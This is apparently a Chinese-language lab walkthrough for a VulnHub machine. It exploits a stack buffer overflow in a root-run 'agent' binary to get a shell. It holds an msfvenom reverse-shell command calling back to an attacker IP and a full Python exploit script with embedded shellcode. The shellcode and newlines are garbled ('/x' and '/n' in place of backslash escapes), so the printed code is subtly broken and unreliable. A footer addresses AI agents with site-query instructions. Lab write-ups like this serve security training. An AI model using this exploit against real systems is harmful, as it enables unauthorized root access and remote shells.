> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).

# Linux 缓冲区溢出 - Agent 二进制

{% hint style="info" %}
以下缓冲区溢出是 VulnHub 机器上权限提升的结果。易受攻击的二进制文件是 Linux 系统上一个名为“agent”的可执行文件。下面是利用缓冲区溢出的完整步骤：
{% endhint %}

## 缓冲区溢出利用：

**“agent”二进制文件的识别：**

* 使用 `find` 在主机上定位名为“agent”的二进制文件的命令。
* 找到 32 位二进制文件，并有一个文本文件指出它由 root 在 7788 端口上执行。

<figure><img src="/files/81dd435275131e7991016163af5a41e568127cbe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/800ba959728afd5ffb912fc2bb1766feb1f38447" alt=""><figcaption></figcaption></figure>

**使用 Netcat 传输：**

使用 Netcat 将主机上的二进制文件传输到攻击者设备。

<figure><img src="/files/54e75d6972f2e1b36a37a2cfa556e27467ab2705" alt=""><figcaption></figcaption></figure>

**使用** [ghidra ](https://ghidra-sre.org/)**:**

* 使用 Ghidra 软件分析二进制源代码。

<figure><img src="/files/5f974c970d7175ed7819070ffd6dda450f89f22f" alt=""><figcaption></figcaption></figure>

* 识别包含十六进制代码 ID 的变量“validcode”。

<figure><img src="/files/bb7f07abfb949c846494db62ad8d58ede2bb67aa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/122088e3a264642729d9dfef3ef8227e7cb64349" alt=""><figcaption></figcaption></figure>

**缓冲区溢出分析：**

使用“report()”函数，利用“gets”函数检测缓冲区溢出漏洞。

<figure><img src="/files/552e63a21e6b5631c317d59a00d74e5a7d350fb8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d4754672b21bfdc84a8f011f07703b88bb59adb0" alt=""><figcaption></figcaption></figure>

**使用 GDB 利用缓冲区溢出：**

<figure><img src="/files/64ca7fff70348840e001d7c48bcf7f129e4ad94c" alt=""><figcaption></figcaption></figure>

* 创建了一个 200 个字符的“A”字符串来测试是否溢出。

```python
python -c 'print("A"*200)'
```

<figure><img src="/files/f1fe877116879a6eb59ae6dcd3300ea33657921e" alt=""><figcaption></figcaption></figure>

注意 EIP（指令指针）被命令“pattern create 200”替换。

<figure><img src="/files/ceb914b03297796eab737a14afb00db3f354d9a1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9baa7a3ff9bc8c77c0af0ca5a16c8413aa09241a" alt=""><figcaption></figcaption></figure>

* 使用命令“pattern offset $eip”识别偏移量。

<figure><img src="/files/1c712af617fdabdcc4f39100f286d4ba503322a1" alt=""><figcaption></figcaption></figure>

* 通过插入 168 个 A + 4 个 B 字符的 EIP 字符串进行验证：

```python
python -c 'print("A"*168 + "B"*4)'
```

<figure><img src="/files/2fa9334c5fcab8d94fb5e65341d8915b613b88d6" alt=""><figcaption></figcaption></figure>

* 使用“checksec”命令验证保护机制。

<figure><img src="/files/8131f358195c6b158d5f909fc53ee5691c965d88" alt=""><figcaption></figcaption></figure>

**ASLR 验证：**

使用命令“objdump -d agent | grep -i 'FF D0'”搜索二进制文件的静态地址。

```bash
objdump -d agent | grep -i "FF D0"
```

<figure><img src="/files/3e3f5cb4c32a45a83cc57001cb137857e9b8c9d9" alt=""><figcaption></figcaption></figure>

**为反向 Shell 创建 Shellcode：**

使用 Metasploit 生成反向 Shell 的 shellcode。

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```

<figure><img src="/files/f952bc0d79cc0329e457ee7e93aac6ca197af84c" alt=""><figcaption></figcaption></figure>

**用于操作的 Python 脚本：**/ 编写 Python 脚本连接到易受攻击的服务并利用缓冲区溢出。

```python
#!/usr/bin/python3 

from struct import pack
import socket 

shellcode = (b"/xbf/x11/x58/xbb/xb7/xdb/xd7/xd9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/x02/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/xcf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")


offset = 168 
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("<I", 0x08048563) + b"/n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7788))
s.recv(1024)
s.send(b"48093572/n")
s.recv(1024)
s.send(b"3/n")
s.recv(1024)
s.send(payload)
```

<figure><img src="/files/cbf697d7ee2a3f2ea857396a33530bbdb2c9e7d0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
